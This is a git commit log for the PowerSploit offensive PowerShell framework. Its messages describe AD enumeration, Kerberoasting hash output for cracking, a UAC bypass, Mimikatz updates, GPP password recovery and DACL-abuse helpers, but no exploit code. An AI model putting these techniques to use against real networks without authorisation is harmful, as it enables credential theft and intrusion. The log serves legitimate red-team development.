459 Commits

Author SHA1 Message Date
harmj0y d943001a7d Updated README.md 2020-08-17 16:13:56 -07:00
HarmJ0y f94a5d298a swapped default kerberoasting output formats 2018-07-02 13:08:36 -04:00
HarmJ0y be932ce2be re-added -Domain to Get-DomainForeignUser/GroupMember 2017-11-12 13:28:17 -08:00
HarmJ0y 398b0f2246 -Redid the default DC bindserver logic for Get-DomainSearcher
-fixed Get-DomainForeignUser / Get-DomainForeignGroupMember when using a global catalog
    -target group/member domains are now extracted from found DN names
2017-10-29 17:44:25 -07:00
HarmJ0y 50e18ef8ab -changed default enumeration method for Get-DomainTrust to LDAP
-Added WhenCreated/WhenChanged as default output for Get-DomainTrust
2017-10-15 21:21:44 -07:00
HarmJ0y f6e6c09b8b Added mod to Get-DomainSPNTicket from @leechristensen to better parse tickets 2017-10-15 20:46:13 -07:00
HarmJ0y c5eb994f84 corrected verbose output for some PowerView functions 2017-09-17 12:55:10 -07:00
HarmJ0y fe7746f030 Added Remove-DomainObjectAcl 2017-09-17 12:53:21 -07:00
HarmJ0y 35452ce62f Fixed Kerberoasting output so it at least cracks now for john's new format change. 2017-09-17 12:11:06 -07:00
HarmJ0y a4a3ae5492 Fixed New-ADObjectAccessControlEntry so -PrincipalIdentity now accepts built-in sids. 2017-09-17 12:03:22 -07:00
Will 428d9061a4 Merge pull request #238 from hackjammer/dev
Improve output of Invoke-PrivescAudit
2017-09-17 14:27:25 -04:00
Will e24d64224b Merge pull request #243 from cfalta/master
Host parsing extension for IP ranges
2017-09-17 14:25:57 -04:00
Will 41cef58b75 Merge pull request #253 from davehull/dev
Adds dlls from knowndll paths to knowndlls
2017-09-17 14:25:04 -04:00
Will 1864095c2e Merge pull request #254 from andyrobbins/patch-1
Add Remove-DomainGroupMember function
2017-09-17 14:24:42 -04:00
Andy Robbins fcc35ac7e7 Add Remove-DomainGroupMember function
Add-DomainGroupMember allows for adding users to a group, and is especially useful given its ability to supply alternate credentials when establishing the connection to the DC. Remove-DomainGroupMember is intended to act as a "cleanup" function for attack paths that abuse DACL misconfigurations, where we need to remove a principal from a group after we are done abusing that group's existing permissions.
2017-09-17 10:40:55 -07:00
Dave Hull 0a894991dc Adds tolower() as it was dropping .DLL files in my local 2017-09-08 16:36:26 -05:00
Dave Hull 6eb3c6f281 Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-09-08 16:33:11 -05:00
Dave Hull bf652bcd26 Adds dlls from knowndll paths to knowndlls 2017-09-08 16:30:06 -05:00
b33f 3d0d32d9ee Path array fix for Get-ModifiablePath
This is a fix for:
https://github.com/PowerShellMafia/PowerSploit/issues/248
2017-08-10 22:05:41 +01:00
b33f 1950a169e3 +Version check fix
Changed version check to be of type "System.Version". This fixes:
https://github.com/PowerShellMafia/PowerSploit/issues/163
2017-08-09 21:15:34 +01:00
b33f b038f09ceb Typo fix 2017-07-22 17:04:44 +01:00
b33f d5c0abc9fa Fix for profile cleanup
When removing the persistence, the profile is not cleaned up. This is a temporary fix for that which should leave any legitemate profile content in tact. This psm may need a rework though.

Related to:
https://github.com/PowerShellMafia/PowerSploit/issues/165
2017-07-22 16:51:30 +01:00
b33f 7a3e16ace5 +Region check on Find-DomainLocalGroupMember
If a user does not manually specify $GroupName it defaults to "Administrators" which may not be valid in specific regions. I added a check to pull out the Group Name from the Admin SID, see:
https://github.com/PowerShellMafia/PowerSploit/issues/176
2017-07-22 14:33:20 +01:00
b33f 41cad0ee9f Fix for edge case where System.Core is not loaded
Make sure System.Core is loaded before creating an AES object. https://github.com/PowerShellMafia/PowerSploit/issues/247
2017-07-18 13:08:31 +01:00
b33f 0bbf86e021 Merge pull request #241 from byt3bl33d3r/dev
Fixed alias typo for Find-GPOComputerAdmin
2017-07-17 23:14:12 +01:00
b33f fc43eb8cb7 Typo fix 2017-07-17 23:11:24 +01:00
b33f e47c52a090 + PSv2 Compatibility
Fix for unable to index into object of type System.Diagnostic.Process on PSv2.
2017-07-17 21:32:22 +01:00
b33f b895866c3b + Invalid Cast Fix
This is a fix for https://github.com/PowerShellMafia/PowerSploit/issues/151
2017-07-17 21:26:04 +01:00
HarmJ0y 872f711e3d -Added the dynamic -UACFilter parameter that completes based on the $UACEnum enumeration
Example: Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
        Returns users with kerberos preauth not set AND where the password isn't expired
-Integrated New-DynamicParameter from beatcracker in order to accomplish the dynamic params
-Corrected from help typos
2017-06-18 20:00:12 -04:00
HarmJ0y 7dc41b6fe4 For any "-Identity" values formatted as distinguishednames passed to Verb-Domain* functions,
the object's domain is now extracted from the dn and the directory searcher is rebound to the proper domain.
2017-06-17 21:23:11 -04:00
HarmJ0y 7e4d7ee298 Added Sacl enumeration to Get-DomainObjectACL 2017-06-17 01:33:05 -04:00
HarmJ0y d0e4e270f1 Convert-LDAPProperty now properly parses sidHistory with multiple values 2017-06-16 16:43:23 -04:00
HarmJ0y 035166385e -Added Get-DomainObjectAttributeHistory to retrieve attribute replication metadata from domain objects
-Added Get-DomainObjectLinkedAttributeHistory to retrieve linked attribute replication metadata from domain objects (i.e. group memberships)
-Added Get-DomainGroupMemberDeleted to retrieve information on group members that were removed from a specified group at some point
2017-06-13 19:47:33 -04:00
HarmJ0y 1bfe3a2715 Updated Find-DomainObjectPropertyOutlier approach. 2017-06-13 17:13:17 -04:00
byt3bl33d3r 6889a8efab Fixed alias typo for Find-GPOComputerAdmin 2017-05-31 00:28:52 -06:00
HarmJ0y d9e9231755 -Added negations to some -GroupScope and -GroupProperty values 2017-05-25 01:30:25 -04:00
HarmJ0y 783bff3cc0 -Added "-GroupScope [DomainLocal/Global/Universal]" to Get-DomainGroup
-Added "-GroupProperty [Security/Distribution/CreatedBySystem]" to Get-DomainGroup
2017-05-25 01:14:40 -04:00
HarmJ0y 30c5177e92 -added parsing of the 'useraccountcontrol' property into human readable format
-added parsing of the 'accountexpires' property into human readable format
-added parsing of the 'grouptype' property into human readable format
-added parsing of the 'samaccounttype' property into a readable format
2017-05-24 02:12:42 -04:00
HarmJ0y 786793c298 Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-05-24 01:36:56 -04:00
Will 0e2daae1b4 Merge pull request #236 from MrAnde7son/patch-3
Get-GPODelegation
2017-05-23 22:34:04 -07:00
HarmJ0y 67891871f6 Get-DomainPolicyData now returns proper object output instead of hashtable.
Modified Get-IniContent and Get-GptTmpl to accept '-OutputObject' to output a PSObject instead of a hashtable
2017-05-20 02:00:41 -04:00
HarmJ0y d12e1516f8 increased PowerUp error checking 2017-05-20 01:54:55 -04:00
HackJammer a78474aa5c Add Name alias to PowerUp object properties for easier parsing 2017-05-10 00:50:42 +01:00
HackJammer 52289768a9 Default Invoke-PrivEscAudit to return objects for parsing 2017-05-10 00:31:44 +01:00
HarmJ0y f8d2a3474b fixed quotes 2017-05-08 23:44:57 -04:00
James McGinnigle f9b95c5cf2 Fix build for import and run of Invoke-PrivescAudit 2017-05-07 16:32:55 +01:00
Itamar 6a71a6e526 Update PowerView.ps1
Fixed null access control entry in results.
2017-05-07 11:21:56 +03:00
Christoph Falta 226c1c1cce Host parsing extension for IP ranges
Small extension of the host parsing function so you can also pass ranges
(e.g 172.16.0.1-172.16.2.254) as target
2017-05-04 16:08:44 +02:00
Itamar 2501e8e912 Get-GPODelegation
Hi,
I know you guys mentioned this before, but I've not this implemented.
I wrote Get-GPODelegation that finds users with write permissions on Group Policy objects, for a potential privilege escalation path.
As requested, moved into dev branch.
2017-05-04 16:11:12 +03:00
HarmJ0y 095988269b Get-DomainGPO - fixed enumerations of 'enforced' GPOs, and
bug fix for nested OUs with similar starting names.
2017-04-28 00:56:52 -04:00
Will 27747f982c Merge pull request #233 from leechristensen/patch-5
Generalized ACE creation and added LDAP logonhours conversion
2017-04-27 21:39:49 -07:00
Lee Christensen fc04f97ecf Generalized ACE creation and added LDAP logonhours conversion
Added ConvertFrom-LDAPLogonHours and New-ADObjectAccessControlEntry
2017-04-27 00:30:27 -07:00
HarmJ0y 9f4e32e0f3 Renamed Get-DomainPolicy to Get-DomainPolicyData and generalized the
function to accept any policy.
2017-04-26 17:24:59 -04:00
Will 92e17e5331 Merge pull request #214 from mbrancato/dev
Fix for impersonation in Get-NetLocalGroup*
2017-04-26 14:10:47 -07:00
Will cfc0b647b1 Merge pull request #215 from api0cradle/master
Invoke-CompareAttributesForClass.ps1
2017-04-26 14:10:10 -07:00
Will 97382c215d Merge pull request #226 from joncave/dn_commas
Support for DNs containing commas
2017-04-26 14:08:32 -07:00
Will 0bbc9db5ab Merge pull request #227 from joncave/dfs_domain
The DFS subfunctions only accept a single $Domain
2017-04-26 14:08:01 -07:00
Will cb14cf11ab Merge pull request #231 from leechristensen/patch-4
Set explicit LDAP SecurityMasks settings
2017-04-26 14:06:25 -07:00
Lee Christensen 834a80fef3 Set explicit LDAP SecurityMask settings
Changed the LDAP SecurityMasks settings so that you can change the Owner/DACL if you only have WriteOwner/WriteDacl permissions on the object (Default SecurityMasks is "Owner, Group, Dacl")
2017-04-17 15:30:06 -07:00
Jon Cave 08b30627d9 Support for DNs containing commas
If an object's distinguished name contains a comma then it ends up quoted:

    CN=Smith\, John,OU=Admins,DC=example,DC=com

This breaks a number of functions which attempt to identify DOMAIN\name
by matching on a \ anywhere in the specified identity before checking if
the identity was a DN (or SID or GUID).

For example, attempting to list members of "Domain Admins" using
Get-DomainGroupMember gives the following:

    VERBOSE: [Convert-ADName] Error initializing translation for 'CN=Smith\, John,OU=Admins,DC=example,DC=com' : Exception calling "InvokeMember" with "5" argument(s): "The specified domain either does not exist or could not be contacted. (Exception from HRESULT: 0x8007054B)"
    VERBOSE: [Convert-ADName] Error translating 'CN=Smith\, John,OU=Admins,DC=example,DC=com' : The specified domain either does not exist or could not be contacted. (Exception from HRESULT: 0x8007054B)
    VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (objectClass=*)

The fix implemented here is to perform more specific pattern matching
prior to falling back to looking for a \. The order is SID, DN, GUID,
qualified name (DOMAIN\name), and then plain name.
2017-04-05 14:05:51 +01:00
Jon Cave f2a9cb2ecc The DFS subfunctions only accept a single $Domain
Specifying the type as an array of strings results in an error when
passing on the parameter to Get-DomainSearcher:

    C:\> Get-DomainDFSShare -Domain test
    Get-DomainSearcher : Cannot process argument transformation on parameter 'Domain'. Cannot convert value to type System.String.
    At PowerView.ps1:10242 char:46
2017-04-05 13:15:54 +01:00
b33f bd6fe64316 Cast DllCharacteristics to [Int]
Fix for System.InvalidCastException:
https://github.com/PowerShellMafia/PowerSploit/issues/152
2017-02-13 22:41:26 +00:00
Oddvar Moe c8cee6455a Added Invoke-CompareAttributesForClass.ps1 2017-01-23 07:12:23 +01:00
HarmJ0y 445f7b2510 Changed -KerberosPreauthNotRequired to -PreauthNotRequired 2017-01-16 23:52:19 -05:00
Mike Brancato 6927a26940 Fix for impersonation in Get-NetLocalGroup*
Removed unnecessary warning about the 'WinNT' method
Fixed Get-NetLocalGroup* to use impersonation - netapi32 functions weren't working.
2017-01-16 01:37:34 -05:00
Mike Brancato bda533d6d7 Merge pull request #1 from PowerShellMafia/dev
update local fork
2017-01-16 00:52:51 -05:00
HarmJ0y 454e04005d Standardized output from Find-InterestingDomainAcl 2017-01-11 20:39:57 -05:00
HarmJ0y ea60b0e0a4 Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-01-11 20:16:20 -05:00
HarmJ0y 510cba8bcd Added displayname to the default filter set for Get-DomainObject[ACL] 2017-01-11 20:16:01 -05:00
HarmJ0y 1dd560b371 Merge pull request #210 from leechristensen/patch-3
Fixed KerberosPreauthNotRequired
2017-01-11 16:16:25 -08:00
HarmJ0y 8a2e1daaa3 Parenthesis for additional LDAP functions 2017-01-11 19:04:56 -05:00
HarmJ0y fa1baa64a8 Parenthesis escaping for Get-DomainObject DN searches 2017-01-11 18:00:27 -05:00
HarmJ0y d4166f80d4 bug fix for Get-DomainObject/Get-DomainObjectACL 2017-01-11 15:55:35 -05:00
HarmJ0y 6c113b7956 Fixed bug in Convert-ADName that output an array including null values instead of a string 2017-01-11 14:03:46 -05:00
Lee Christensen e08432954e Fixed KerberosPreauthNotRequired 2017-01-11 08:09:49 -08:00
HarmJ0y ce19ebd9ed Merge branch 'dev' of github.com:PowerShellMafia/PowerSploit into dev 2017-01-10 18:32:07 -05:00
HarmJ0y 9ea5c5b7f5 Couple of fixes for Get-DomainSPNTicket 2017-01-10 18:31:30 -05:00
HarmJ0y e4b1930daa Merge pull request #207 from leechristensen/patch-3
Words :P
2017-01-09 22:34:41 -08:00
Lee Christensen aecb0b57a4 Words :P 2017-01-09 22:18:36 -08:00
HarmJ0y 215ec25da0 Bug fixes in Get-GPPPassword 2017-01-09 18:11:15 -05:00
HarmJ0y 3f7a32d623 Get-DomainSPNTicket/Invoke-Kerberoast now include 'real' user data in the hash output.
Added a bit more error handling when requesting the SPN kerberos ticket.
2017-01-08 22:28:51 -05:00
HarmJ0y 8552033242 Merge pull request #205 from mbrancato/dev
Fix errors gathering the forest SID
2017-01-07 18:20:56 -08:00
HarmJ0y 5500a7e131 Fix for issue #170
Added -SearchForest to search all reachable domain trust \SYSVOL\'s
Each password is now output as a separate object.
2017-01-07 20:32:14 -05:00
Mike Brancato d1060930c7 Fix errors gathering the forest SID
Pull the SID directly from the 'krbtgt' user to avoid errors in ConvertTo-SID
2017-01-04 23:23:25 -05:00
HarmJ0y 94438eda67 Replaced Invoke-WScriptUACBypass with @enigma0x3's Invoke-EventVwrBypass function 2016-12-21 00:41:51 -05:00
HarmJ0y 1118f53dc2 Added "-InformationClass Type" to Get-TokenInformation to enumerate token type and impersonation level
Added Get-ProcessTokenType to enumerate type/impersonation level of a specified process
2016-12-21 00:35:38 -05:00
HarmJ0y 96ae5e3f61 type correction 2016-12-20 23:13:46 -05:00
HarmJ0y 1916464092 bug fix in Get-TokenInformation 2016-12-20 23:13:16 -05:00
HarmJ0y 9853900578 Type fix.
Added -TrustedToAuth to Get-DomainUser
2016-12-15 19:04:53 -05:00
HarmJ0y 831dde1268 Bug fix for the Find-DomainUserLocation bug fix :) 2016-12-15 12:45:18 -05:00
HarmJ0y 601ad0cf3f Logic bug fix in Get-DomainFileServer
-Domain bug fix in Find-DomainUserLocation stealth
2016-12-15 12:32:17 -05:00
HarmJ0y ad32d6c75b For ./Recon/ :
-(More) PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 19:23:28 -05:00
HarmJ0y 59e6f94e76 For ./ScriptModification/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 18:50:58 -05:00
HarmJ0y 9ed26d65a8 removed whitespace 2016-12-14 18:25:15 -05:00
HarmJ0y cf444398ca For ./Persistence/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 18:24:33 -05:00
HarmJ0y a81faf36a4 For ./Mayhem/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 18:05:22 -05:00
HarmJ0y 1980f403ee For ./CodeExecution/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 17:50:37 -05:00
HarmJ0y 7cdaa3c2d6 For ./Antivirus/ :
-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
2016-12-14 16:17:00 -05:00
HarmJ0y 85b374c05b -Fixes for PSScriptAnalyzer compatibility
-More error handling
2016-12-14 13:39:50 -05:00
HarmJ0y 07ccc07fc6 mods to Get-System for it to pass PSScriptAnalyzer 2016-12-14 13:10:37 -05:00
HarmJ0y 7964823e3f Added documentation for PowerUp 2016-12-14 11:53:29 -05:00
HarmJ0y 5da1774219 updated mkdocs.yml 2016-12-13 17:23:07 -05:00
HarmJ0y f00e3fc6c4 Added Set-DomainObjectOwner to modify an object's owner
Modified Convert-LDAPProperty to break out sections of ntsecuritydescriptor
2016-12-13 17:21:10 -05:00
HarmJ0y f4f5fb1460 Added Set-DomainUserPassword to reset a particular user's password.
Reformatted documentation.
2016-12-13 16:00:28 -05:00
HarmJ0y 813eab4a39 maybe now? 2016-12-12 22:18:16 -05:00
HarmJ0y b78f164440 someday I'll get this right... 2016-12-12 22:16:44 -05:00
HarmJ0y 9033f2f544 Another try at getting readthedocs.io working 2016-12-12 21:58:50 -05:00
HarmJ0y fb90773639 file extensions are important :) 2016-12-12 21:38:26 -05:00
HarmJ0y e956bf440f First commit of mkdocs.yml for readthedocs.io 2016-12-12 21:16:41 -05:00
HarmJ0y 0aaa23cd86 first take at platyPS doc generation 2016-12-12 21:05:08 -05:00
HarmJ0y 7f10db7827 Added spacing to prep for platyPS doc generation. 2016-12-12 21:00:43 -05:00
HarmJ0y 6aca12a956 Typo correction and Recon README.md update 2016-12-12 20:36:42 -05:00
HarmJ0y 32bd21e335 bug fix in Get-DomainSearcher 2016-12-12 19:02:26 -05:00
HarmJ0y 7c32bf69f3 -Complete ground-up rewrite of PowerView
-Lots of function cleanup/code rot removal and standardization
    -Additional options added to Get-DomainSearcher in order to support new param sets
    -Expanded parameter validation
    -XML help format standardized
    -PSScriptAnalyzer fixups- passes PS script analyzer now!
    -Nearly all functions should tag custom types to output objectsx
-Identity supported by all appropriate functions
-Transformed all filters to functions
-Expanded the formats for Convert-ADName
-Get-SPNTicket returns enc part automatically now, and Hashcat output format added
-Write-Verbose/Write-Warning/Throw messages now have the function name tagged in the message
-Verb-Domain* functions now all include a -FindOne function to return one result
-Get-DomainUserEvent now uses -XPathFilter for a massive speedup
-ALL Verb-Domain* (LDAP) functions now return full data objects (no more -FullData). Use -Properties for paring down.
-Lots of bug fixes
-"Required Dependencies" for each function completed
-Fixed logic bugs for -ComputerIdentity in Get-DomainGPO, now enumerates domain-linked GPOs as well
-Added -UserIdentity to Get-DomainGPO to enumerate GPOs applied to a given user identity

New function naming scheme with proper Verb-PrefixNoun syntax to better match the 'real' AD cmdlets:
    Verbs:
        Get     - retrieve full raw data sets
        Find    - 'find' specific data entries in a data set or execute threaded computer enumeration
        Add     - add a new object to a destination
        Set     - modify a given object
        Invoke  - lazy catch-all
    Prefixes now give an indication of the data source:
        Verb-DomainX    -   LDAP/.NET AD connections (e.g. Get-DomainUser)
        Verb-WMIX       -   Uses WMI for connections/enumeration of a specific host (e.g. Get-WMIRegLastLoggedOn)
        Verb-NetX       -   API access (e.g. Get-NetSession)
    Nouns have been renamed to be more descriptive
    Big gotcha:
        Get-NetLocalGroup - now returns local *groups* themselves
        Get-NetLocalGroupMember - returns local group *members* (old Get-NetLocalGroup)

-Parameter sets standardized - parameters shared as appropriate across functions
    -Identity -> replaces -UserName/-GroupName/etc. Accepts samAccountName, GUID, distinguishedName, SID
        -these can be used in tandem -> Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
    -Properties -> return only the specified properties (i.e. Get-DomainUser -Properties samAccountName,lastLogon
    -LDAPFilter replaces -Filter, -SearchBase replaces -ADSPath, -Server replaces -DomainController
    -ServerTimeLimit, -SearchScope, -Tombstone, -SecurityMasks added for most functions

All functions (as appropriate) now support -Credential:
    -Verb-Domain* (LDAP) functions use alternate creds for a DirectorySearcher through Get-DomainSearcher
    -COM methods (i.e. Convert-ADName) use appropriate initializations
    -Verb-WMI methods pass the -Credential through as appropriate
    -Verb-Net* (API) functions use Invoke-UserImpersonation/Invoke-RevertToSelf implicitly for token impersonation

Removed functions:
    Get-ComputerProperty, Get-UserProperty, Find-ComputerField, Find-UserField
    Get-NameField (translated to ValueFromPipelineByPropertyName calls)
    Invoke-DowngradeAccount - not used
    Add-NetUser - split into New-DomainUser/others
    Add-NetGroupUser - split into Add-DomainGroupMember/others
    New-GPOImmediateTask - inconsistent and better done manually
    Invoke-StealthUserHunter - combined into Find-DomainUserLocation
    Get-ExploitableSystem

Added helper functions:
    Get-PrincipalContext - helper to return a DirectoryServices.AccountManagement.PrincipalContext
    Get-ForestSchemaClass - returns the forest schema for a specified object class

Added exported functions:
    Add-RemoteConnection - 'mounts' a remote UNC path using WNetAddConnection2W
    Remove-RemoteConnection - 'unmounts' a remote UNC path using WNetCancelConnection2
    Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token in the current thread
    Invoke-RevertToSelf - reverts any token impersonation
    Invoke-Kerberoast - automates Kerberoasting
    Find-DomainObjectPropertyOutlier - finds user/group/computer objects in AD that have 'outlier' properties sets
    New-DomainUser - creates a new domain user
    New-DomainGroup - creates a new domain group
    Add-DomainGroupMember - adds a domain user (or group) to an existing domain group
    Get-NetLocalGroup - now returns local *groups* themselves
    Get-NetLocalGroupMember - returns local group *members* (old Get-NetLocalGroup)

Renamed functions (aliases created for old functions):
    Get-IPAddress -> Resolve-IPAddress
    Convert-NameToSid -> ConvertTo-SID
    Convert-SidToName -> ConvertFrom-SID
    Request-SPNTicket -> Get-DomainSPNTicket
    Get-DNSZone -> Get-DomainDNSZone
    Get-DNSRecord -> Get-DomainDNSRecord
    Get-NetDomain -> Get-Domain
    Get-NetDomainController -> Get-DomainController
    Get-NetForest -> Get-Forest
    Get-NetForestDomain -> Get-ForestDomain
    Get-NetForestCatalog -> Get-ForestGlobalCatalog
    Get-NetUser -> Get-DomainUser
    Get-UserEvent -> Get-DomainUserEvent
    Get-NetComputer -> Get-DomainComputer
    Get-ADObject -> Get-DomainObject
    Set-ADObject -> Set-DomainObject
    Get-ObjectAcl -> Get-DomainObjectAcl
    Add-ObjectAcl -> Add-DomainObjectAcl
    Invoke-ACLScanner -> Find-InterestingDomainAcl
    Get-GUIDMap -> Get-DomainGUIDMap
    Get-NetOU -> Get-DomainOU
    Get-NetSite -> Get-DomainSite
    Get-NetSubnet -> Get-DomainSubnet
    Get-NetGroup -> Get-DomainGroup
    Find-ManagedSecurityGroups -> Get-DomainManagedSecurityGroup
    Get-NetGroupMember -> Get-DomainGroupMember
    Get-NetFileServer -> Get-DomainFileServer
    Get-DFSshare -> Get-DomainDFSShare
    Get-NetGPO -> Get-DomainGPO
    Get-NetGPOGroup -> Get-DomainGPOLocalGroup
    Find-GPOLocation -> Get-DomainGPOUserLocalGroupMapping
    Find-GPOComputerAdmin -> Get-DomainGPOComputerLocalGroupMappin
    Get-LoggedOnLocal -> Get-RegLoggedOn
    Test-AdminAccess -> Invoke-CheckLocalAdminAccess
    Get-SiteName -> Get-NetComputerSiteName
    Get-Proxy -> Get-WMIRegProxy
    Get-LastLoggedOn -> Get-WMIRegLastLoggedOn
    Get-CachedRDPConnection -> Get-WMIRegCachedRDPConnection
    Get-RegistryMountedDrive -> Get-WMIRegMountedDrive
    Get-NetProcess -> Get-WMIProcess
    Invoke-ThreadedFunction -> New-ThreadedFunction
    Invoke-UserHunter -> Find-DomainUserLocation
    Invoke-ProcessHunter -> Find-DomainProcess
    Invoke-EventHunter -> Find-DomainUserEvent
    Invoke-ShareFinder -> Find-DomainShare
    Invoke-FileFinder -> Find-InterestingDomainShareFile
    Invoke-EnumerateLocalAdmin -> Find-DomainLocalGroupMember
    Get-NetDomainTrust -> Get-DomainTrust
    Get-NetForestTrust -> Get-ForestTrust
    Find-ForeignUser -> Get-DomainForeignUser
    Find-ForeignGroup -> Get-DomainForeignGroupMember
    Invoke-MapDomainTrust -> Get-DomainTrustMapping
2016-12-12 14:35:05 -05:00
HarmJ0y eae4695b13 PowerUp update:
-Standardized documentation, including adding output object types and required dependencies to all functions
-Added Get-ProcessTokenPrivilege to enumerate the current (or remote) process token privileges, replacing Get-CurrentUserTokenGroupSid
-Added Enable-Privilege to enable privileges using RtlAdjustPrivilege
-Added @enigma0x3's Invoke-WScriptUACBypass function
-Renamed Invoke-AllChecks to Invoke-PrivescAudit, added alias mapping
-Added tests for Get-ProcessTokenPrivilege, Enable-Privilege, and Invoke-WScriptUACBypass
-Renamed helper functions for consistency
-Passes PSScriptAnalyzer!
2016-12-12 14:25:20 -05:00
HarmJ0y c7985c9bc3 Merge pull request #202 from PowerShellMafia/dev
Dev
2016-12-12 11:09:24 -08:00
HarmJ0y 863699d97e typo fix for #179 2016-12-12 13:49:10 -05:00
HarmJ0y 031a7561c6 removed Pester test for non-exported Invoke-ThreadedFunction function 2016-12-12 13:30:07 -05:00
HarmJ0y 0939af5bb2 fixed little-endian encoding 2016-12-12 13:17:22 -05:00
HarmJ0y 422cd612f6 removed Set-MacAttribute Pester tests 2016-12-12 13:13:29 -05:00
HarmJ0y aa528b98c7 merge resolution 2016-12-01 21:40:05 -05:00
HarmJ0y 76447005f9 Merge pull request #200 from st3r30byt3/patch-2
Updated Get-ExploitableSystem
2016-12-01 21:32:47 -05:00
Antonio Quina 7b49e54eec Updated Get-ExploitableSystem
Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable
2016-12-01 09:19:54 +01:00
HarmJ0y 2403654410 Revert "Merge pull request #198 from st3r30byt3/patch-1"
This reverts commit 26a891b499, reversing
changes made to 262a260865.
2016-12-01 01:14:19 -05:00
HarmJ0y 26a891b499 Merge pull request #198 from st3r30byt3/patch-1
Updated Get-ExploitableSystem
2016-12-01 01:05:05 -05:00
HarmJ0y 67dab8651c Merge pull request #187 from Meatballs1/filter_getnetfileservers
Add disabled and present searches to get-netfileservers
2016-12-01 01:03:38 -05:00
HarmJ0y 520bf436ce Merge pull request #174 from Meatballs1/securitygroups
Retrieve Security groups by default
2016-12-01 01:03:11 -05:00
Antonio Quina b3e742a94e Updated Get-ExploitableSystem
Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable
2016-11-25 10:34:47 +01:00
Oddvar Moe de955ef270 Added Get-GPPAutologon.ps1 2016-11-21 20:16:02 +01:00
Matt Graeber 926979ad1a Updated to 2.1 20161029 OJ Edition
Address issue #190
2016-11-10 15:46:30 -08:00
Meatballs a70bbe6164 Add disabled and present searches to get-netfileservers 2016-11-01 14:11:44 +00:00
HarmJ0y 8c9c7c84fe Merge pull request #182 from monoxgas/dev
Service DACL false positive | Request-SPNTicket double hash
2016-09-26 17:44:55 -04:00
Nick Landers 8e41548e65 Break on ticket capture 2016-09-13 16:59:03 -06:00
Nick Landers 5ac6c919dd Service DACL false positive 2016-09-13 15:43:34 -06:00
HarmJ0y 5e2200bab7 Merge pull request #173 from joncave/user_polling
PowerView: Invoke-UserHunter -Poll
2016-09-06 13:45:45 -07:00
HarmJ0y 01a289e972 Merge pull request #180 from machosec/EncPartParam
Added the EncPart param to Request-SPNTicket
2016-09-06 13:01:45 -07:00
Matan Hart 432cc017ba Add the EncPart param to Request-SPNTicket
Adds the ability to return the encrypted part of the ticket. 
This portion is the encrypted data that can be brute-forced with Kerberoast/Hashcat/JtR
2016-08-25 12:27:15 +03:00
Meatballs 917a095a81 Modify dependent functions 2016-08-13 20:26:29 +01:00
Meatballs 462c6e83cb Retrieve Security groups by default 2016-08-13 20:21:23 +01:00
Jon Cave 9b365e82b1 Continuously collect output from background threads
The PowerShell.BeginInvoke<TInput, TOutput>(PSDataCollection<TInput>,
 PSDataCollection<TOutput>) method[1] is used to collect output from
each job into a buffer. This can be read whilst the jobs are still
running. Being able to return partial results is particularly useful for
long running background threads, such as Invoke-UserHunter -Poll.

PowerShell 2.0 doesn't play nicely with generic methods. The technique
described in [2] is used to allow this version of BeginInvoke() to be
used.

[1] https://msdn.microsoft.com/en-us/library/dd182440(v=vs.85).aspx
[2] http://www.leeholmes.com/blog/2007/06/19/invoking-generic-methods-on-non-generic-classes-in-powershell/
2016-08-13 12:14:35 +01:00
Jon Cave fda456338f Add a polling mode to Invoke-UserHunter
Repeatedly poll a set of target computers for user sessions. This could
be a useful technique for building a much better picture of current
sessions, but without having to communicate with every host.

The -Poll parameter is used to specify the duration for which polling
should occur. Each target computer is dedicated with a thread with
-Delay and -Jitter specifying how long to sleep between each session
enumeration attempt of an individual host.
2016-08-13 12:00:44 +01:00
HarmJ0y 869badc7f1 Merge pull request #168 from linuz/master
Added ability to specify domain controller to search (-Server parameter)
2016-07-19 12:55:22 -07:00
Dennis Maldonado 87630cac63 Added default value to parameter
Added default value to parameter and got rid of value check later in the code.

Added validation of -Server value to ensure it is not $Null or an empty string
2016-07-19 10:36:59 -05:00
Harmj0y 0cff698b35 Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2016-07-15 17:35:09 -04:00
Harmj0y 038adce56e type 2016-07-15 17:34:23 -04:00
Harmj0y b74e515198 Fix for issue #167 2016-07-15 17:33:04 -04:00
Matt Graeber 66c93f9317 Updated Invoke-Mimikatz to "2.1 alpha 20160711 (oe.eo) edition" 2016-07-15 14:28:55 -07:00
Matt Graeber fee3b4c642 #147 Bugfix: Invoke-Mimikatz
Invoke-Mimikatz was not not handling functions exported by ordinal.
Thank you @gentilkiwi for the suggested fix!
2016-07-15 14:28:55 -07:00
HarmJ0y 8d46d02099 Merge pull request #161 from joncave/batnewlines
PowerUp: Remove badly encoded new lines from .bat output
2016-07-15 14:14:21 -07:00
HarmJ0y e6391254d1 Merge pull request #160 from joncave/tokeninfo
PowerUp: Allocate enough space for TOKEN_GROUPS
2016-07-15 14:10:29 -07:00
HarmJ0y 28d118f987 Merge pull request #158 from joncave/groupsxml
PowerView: Fix Groups.xml parsing for multiple <Group>s
2016-07-15 14:07:42 -07:00
Dennis Maldonado 548b8864cf Added ability to specify domain controller to search (-Server parameter)
Added the ability for users to specify the domain controller that is searched, using the -Server parameter. The -Server parameter is optional and defaults to the user's current domain if not specified.
2016-06-30 08:46:08 -05:00
